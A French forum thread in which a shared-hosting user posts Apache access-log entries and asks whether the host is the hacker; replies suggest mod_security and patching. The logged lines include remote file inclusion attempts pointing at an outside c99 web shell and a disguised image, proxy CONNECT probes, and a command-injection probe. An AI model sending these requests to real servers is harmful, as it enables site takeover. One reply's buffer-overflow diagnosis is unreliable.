OVH est le Hacker ! Vrai ou faux ?

[jeromecools]

On me traite de hacker, et pourtant dans les log d'OVH (home/log/http/och-access_log), je trouve ceci :

81.246.45.219 - - [26/Jan/2008:08:22:45 +0100] "GET /sqlitemanager/main.php HTTP/1.1" 404 326 "-" "Mozilla/6.0"
81.246.45.219 - - [26/Jan/2008:08:22:47 +0100] "GET /admin/business_inc/saveserver.php?thisdir=http://80.231.130.12/wwwroot/c99.txt? HTTP/1.1" 404 337 "-" "Mozilla/6.0"


69.61.82.223 - - [26/Jan/2008:16:07:35 +0100] "CONNECT 66.252.28.191:7250 HTTP/1.0" 405 344 "-" "-"


127.0.0.1 - - [31/Jan/2008:05:11:13 +0100] "GET /?search_keywords=update/phpbb_root_path=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"



82.146.52.136 - - [31/Jan/2008:21:04:38 +0100] "CONNECT 66.252.24.172:3124 HTTP/1.0" 405 344 "-" "-"


82.146.52.136 - - [31/Jan/2008:21:04:38 +0100] "POST http://66.252.24.172:3124/ HTTP/1.0" 200 315 "-" "-"


127.0.0.1 - - [31/Jan/2008:21:54:36 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:26 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:26 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"

[TBC_Ly0n]

127.0.0.1 - - [31/Jan/2008:05:11:13 +0100] "GET /?search_keywords=update/phpbb_root_path=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"

Cette ligne est louche... Ca ressemble à une tentative d'exploitation de taille basée sur un buffer overflow...

[jeromecools]

Et quoi faire pour solutionner ?

[nimoy]

différentes solution :
- installer mod_security
- corriger la faille
- trouver pourquoi 127.0.0.1 (donc ta machine) fait ce gnere de requête